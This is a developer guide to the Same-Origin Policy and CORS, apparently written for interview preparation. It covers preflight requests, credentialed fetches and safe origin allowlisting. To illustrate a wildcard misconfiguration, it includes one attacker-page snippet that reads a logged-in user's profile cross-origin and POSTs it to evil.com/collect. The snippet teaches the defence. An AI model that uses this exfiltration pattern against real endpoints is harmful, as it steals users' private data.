Topics
v6.0.0
On this page · sections

Same-Origin Policy & CORS

The Same-Origin Policy (SOP) isolates documents by origin. CORS is the controlled exception that lets servers opt in to cross-origin programmatic reads.

ConceptRole
Origin tupleScheme + host + port must match for same-origin
SOPBlocks cross-origin reads of DOM, storage, fetch bodies
CORSServer headers allow JS to read cross-origin responses
Simple requestGET/HEAD/POST with safelisted headers — no preflight
PreflightOPTIONS probe before non-simple cross-origin requests
Credentialed fetchcredentials: 'include' + specific ACAO + Allow-Credentials

Same-Origin Policy

Definition

Two URLs are same-origin when scheme, hostname, and port all match.

'use strict'; // Page origin: https://app.example.com const sameOrigin = new URL('https://app.example.com/dashboard'); const crossOrigin = new URL('https://api.other.com/v1/users'); console.log(sameOrigin.origin); // 'https://app.example.com' console.log(crossOrigin.origin); // 'https://api.other.com' // Cross-origin fetch without ACAO — browser blocks JS from reading response fetch('https://api.other.com/v1/users') .then((res) => res.json()) .catch(() => {}); // TypeError: Failed to fetch

SOP blocks cross-origin reads, not all cross-origin loads:

  • <img src> and <script src> load cross-origin; JS cannot inspect them
  • Cross-origin iframe — parent cannot access contentDocument
  • localStorage / sessionStorage — partitioned per origin
  • CORS applies to programmatic fetches, not display-only resource loads
https://app.example.com:443 vs http://app.example.com:80 → different origins https://api.example.com vs https://app.example.com → different origins

Real-world example

Cross-origin windows cannot touch each other’s DOM, but window.postMessage allows structured messaging when both sides validate event.origin.

WebSockets use an Origin header during handshake — same principle, different mechanism.

Interview: SOP is the default wall; CORS is a negotiated gate for fetch/XHR reads.

CORS Basics

Definition

For cross-origin fetch, the browser adds an Origin header. If the response includes Access-Control-Allow-Origin matching the request origin, JavaScript can read the body.

The request may reach the server; the page cannot read the response without CORS headers.

'use strict'; // Triggers preflight — custom header + JSON body fetch('https://api.example.com/users', { method: 'POST', headers: { 'Content-Type': 'application/json', Authorization: 'Bearer eyJhbGciOiJIUzI1NiJ9...', }, body: JSON.stringify({ name: 'Ada' }), }); // Simple request — GET, no custom headers fetch('https://api.example.com/public/status');

Interview: CORS controls who may read the response in JavaScript — not who may access the API.

Simple vs Preflight Requests

Definition

Simple requests skip preflight — GET/HEAD/POST with safelisted headers and content types.

Anything else — custom headers like Authorization, PUT, DELETE, or Content-Type: application/json — triggers a preflight OPTIONS before the real request.

Browser Server (api.example.com) | | | OPTIONS + Origin + Request-Method | |------------------------------------->| | 204 ACAO + Allow-Methods + Headers | |<-------------------------------------| | POST + Origin + Authorization | |------------------------------------->| | 200 + ACAO + JSON body | |<-------------------------------------|

Only application/x-www-form-urlencoded, multipart/form-data, and text/plain are safelisted POST content types — JSON triggers preflight.

Access-Control-Max-Age caches preflight results — reduces OPTIONS chatter.

Real-world example

Dev server proxies /api to backend so the browser sees same origin. Production should use real ACAO or a BFF — not a public open proxy.

Interview: Preflight adds one RTT per non-simple request until Max-Age cache expires; 404 on OPTIONS breaks SPAs silently.

Access-Control-Allow-Origin: *

Definition

* tells any origin’s JavaScript may read the response.

ScenarioACAO: *Risk
Public weather API, no cookiesOKLow
User profile API, session cookieNeverHigh
Credentialed SPABlocked by specMust reflect specific origin

It becomes dangerous when teams use * on endpoints returning user-specific JSON — any malicious site can fetch that data if cookies auto-send.

Correct pattern: allowlist origins, reflect exact Origin if matched, add Vary: Origin for CDN correctness.

'use strict'; // Server misconfiguration — attacker page at evil.com: fetch('https://bank.example.com/api/me', { credentials: 'include' }) .then((r) => r.json()) .then((profile) => { fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify(profile), }); });

Interview: Wildcard on private endpoints leaks data; * is forbidden with Access-Control-Allow-Credentials: true.

Credentialed Cross-Origin Requests

Definition

For cookies on cross-origin fetch, the client sets credentials: 'include'. The server must respond with Access-Control-Allow-Credentials: true and a specific Access-Control-Allow-Origin — never *.

'use strict'; fetch('https://api.example.com/me', { method: 'GET', credentials: 'include', headers: { Accept: 'application/json' }, }); // Required server headers: // Access-Control-Allow-Origin: https://app.example.com // Access-Control-Allow-Credentials: true // Set-Cookie: session=...; HttpOnly; Secure; SameSite=None; Path=/

Key flags:

  • credentials: 'include' — sends cookies for target origin
  • SameSite=None; Secure; HttpOnly — cross-site credentialed flows
  • SameSite=Lax — cookies withheld on cross-site POST/fetch from third-party sites

Real-world example

BFF pattern — API on same origin as SPA; cookies stay first-party, no cross-origin credentialed fetch from browser to microservices.

'use strict'; const API_BASE = process.env.NEXT_PUBLIC_API_URL ?? '/api'; async function getProfile(signal) { const res = await fetch(`${API_BASE}/me`, { credentials: 'include', signal, headers: { Accept: 'application/json' }, }); if (!res.ok) throw new Error(`HTTP ${res.status}`); return res.json(); }

Interview: Credentialed flows require coordinated client + server + cookie config; each missing flag fails silently in the browser.

Senior Interview Summary

Mental model

SOP → Default isolation by origin tuple CORS → Server opt-in for JS to read cross-origin responses Preflight → OPTIONS before non-simple requests CORS ≠ auth → Controls read access, not server authorization

Practical rules

  • Environment-specific origin allowlists — dev localhost must not ship to prod
  • Centralize fetch wrapper with allowed base URLs and credential policy
  • OPTIONS handlers on every authenticated route
  • Never use mode: 'no-cors' on authenticated flows
  • Treat every new subdomain as a new origin in threat models

What to say in interviews

CORS is not a backend bug alone — frontend owns which origins we call, whether credentials ride along, and whether secrets appear in URLs. When CORS fails, diagnose preflight response, reflected origin, and credential flags in Network tab. Prefer BFF or same-site proxy so cookies stay first-party.

Common traps

  • CORS protects the user’s browser data, not the server — requests still arrive
  • Subdomains are not same origin (api.example.com ≠ app.example.com)
  • CORS error often means request succeeded — JS cannot read the response
  • Reflecting any Origin header without allowlist = open CORS

Last updated on